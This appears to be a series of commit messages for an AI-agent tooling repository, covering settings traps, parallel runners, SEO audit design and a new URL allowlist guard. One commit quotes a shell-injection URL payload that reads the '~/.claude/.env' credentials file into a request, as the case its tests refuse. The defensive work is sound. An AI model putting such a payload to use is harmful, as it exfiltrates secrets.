BDR-090 records why the ask tier was abandoned rather than repopulated,
the three alternatives rejected, and the deliberate caveat that the
guardrail hard_deny bars removing a deny entry but not adding one.
LRN-153 records the two traps the block carries: every autoMode list is
a full replacement without "$defaults", and a user-scope block reaches
every project on the machine.
TODO also logs F1-F3, found but not fixed: .claude/settings.local.json
is a 14.6 KB shadow copy of the global settings at higher precedence,
including a PreToolUse hook whose script does not exist.
Two or more project paths dispatch one general-purpose runner per repo,
all in a single message, instead of processing repos one by one. The
runner inherits the session model — no pin, it carries tour's reflection
(fix decisions, convergence) — and every agent inside keeps its defined
tier (security-auditor sonnet, Phase B opus, doc-syncer sonnet). A dead
or mute runner becomes an explicit RUNNER FAILED summary row; the gated
capitalize offer stays in the main loop, never in a runner.
Bounded LRN-083 derogation recorded in BDR-084: the per-project fix loop
moves into its runner, but nothing a runner decides touches shared state
— independent repos, per-repo chore branches, branches left unmerged for
human review exactly as inline. Mechanics proven before building: nested
probe, 3 sub-agent windows all overlapping, 9.1s vs ~18s sequential.
Census §12: 6 locks, flip-tested. Single-project path unchanged.
The include is authoritative, but feat/bugfix/ship-feature/init-project
each restate the verify loop inline — an orchestrator following the
restatement alone would have skipped the floor. Each now carries the
GATE 0 bullet ahead of GATE 1 (4 new structure locks, flip-tested).
The contract-interview weight table stops promising a hotfix oracle
nothing executes: hotfix runs no floor, the hotfixer runs the suite
itself. CHANGELOG extended with the wiring + the RED result.
BDR-083 records what was taken from unlazy and, more usefully, what was
refused and why. LRN-141: an external skill's machinery encodes its threat
model, not yours — take the invariants, refuse the machinery. LRN-142:
structure locks are fixed-string, so reflowing a doctrine paragraph reds
them; fix the doc, not the lock.
BDR-065 delete-side now automated (lib/gitflow.sh _gitflow_purge_transient).
LRN-138: gitignore != delete for run-time artifacts read from disk — use
commit-during-run + auto-delete at the integration boundary. TODO checked,
journal line.
- MANAGED_EXTERNALS (emil-design-eng, frontend-design,
design-motion-principles, impeccable) + MANAGED_MCPS (magic):
cmd_set now trims both when the profile does not list them —
design leftovers no longer survive a 'set backend'
- cmd_set refactored to 4 symmetric trim helpers; nothing outside
the MANAGED_* allowlists is ever auto-toggled (darwin-skill manual)
- enable_skill external: from-source fallback (ln -sf
skills-external/<name>), mirrors toggle-external.sh
- stale usage() NOTE + SKILL.md updated to the both-ways reality
- hermetic test: 16 checks, fixture repo + fake claude shim (gstack
on-demand, from-source, park/restore, magic add/remove, non-managed
untouched); shellcheck + full make test green
Plan challenged by 3 blind lenses + 1 confirmation pass (1 BLOCKER closed
by fable-dispatch spike, 6 MAJORs + 8 MINORs fixed by named changes, 0
deferred). TODO: seo-geo-integrity 'UNMERGED' note was stale (92301fe
already in develop) — corrected.
The plan said Common Crawl was the free backlink source and the 70/100 cap
was therefore mandatory. Measured before building, and both premises die.
HEAD against data.commoncrawl.org, live:
cc-main-2026-feb-mar-apr-domain-edges.txt.gz 17.3 GB gzipped
cc-main-2026-feb-mar-apr-domain-ranks.txt.gz 2.3 GB
cc-main-2026-feb-mar-apr-domain-vertices.txt.gz 879 MB
Finding one domain's inbound links means scanning the edges file end to end,
per audit. That is not slow, it is non-viable — and abusive toward a
nonprofit serving the data free.
Worse, the reference implementation everyone points at
(claude-seo scripts/commoncrawl_graph.py:169) does this:
max_compressed_bytes = 500 * 1024 * 1024 # 500 MiB safety cap
if total_downloaded > max_compressed_bytes: break
500 MiB of 17.3 GB is **2.9% of the edges file**, which is sorted by source
ID — so it reads an arbitrary slice of source domains and reports whatever
backlinks happened to be in it, as a backlink profile, capped at "70/100
health". Nothing in the output says 3%. That is a random sample wearing a
measurement's clothes: the exact failure class this branch exists to remove,
and I was one step from copying it.
B2 dies with B1: nothing left to cap.
CONSEQUENCE, and it is the point: I1's narrowed Off-page axis — brand
mentions only, backlinks + authority declared unauditable in §14 — is the
FINAL state, not a placeholder waiting for data. Corrected my own I1 text,
which pointed at Common Crawl as the "nearest free source": that sends a
future reader into a 17 GB dead end. The §14 line now records what was
measured and why no number beats a fabricated one.
Also corrects the B3 note, whose follow-on ("so Common Crawl is the only free
source") was wrong for the same reason. The only free viable backlink source
is Bing's GetUrlLinks — first-party only, never a competitor, and blocked on
the client's Bing account. That raises W2's value; it does not unblock it.
Verified: full suite green, seo-data 144 pass / 0 fail.
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.
The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.
Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.
Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).
NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.
Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.
Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.
Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
geo-analyzer owns JSON-LD NAP (ownership matrix, seo/SKILL.md:261) and can
rewrite it via G2 — AUTO tier, no confirmation (geo-analyzer.md:660). The
LRN-032 protection lived ONLY in the /seo dispatcher prompt
(seo/SKILL.md:339-343), so standalone /geo reconciled NAP with no canonical
and no anti-seed guard — the exact zenquality trap, writing into client
structured data.
Root cause: a safety invariant that depended on the caller. Fixed at the
layer that owns the data.
- Data integrity: NAP direction rule, caller-independent, binds G2/G6.
Covers CREATE (LocalBusiness from scratch) not just rewrite — geo builds
missing schemas, seo-analyzer's wording only covered rewrite.
- STEP 6 checklist: pointer at the line that triggers the action.
Absent canonical is already the safe default (no directional fix), so no
NAP collection step is needed in /geo — that would duplicate seo/SKILL.md
STEP 0 and risk drift.
Verified: make test 25+5+5 GREEN / 0 RED (incl. G3 strict-YAML frontmatter).
Bastien Chanot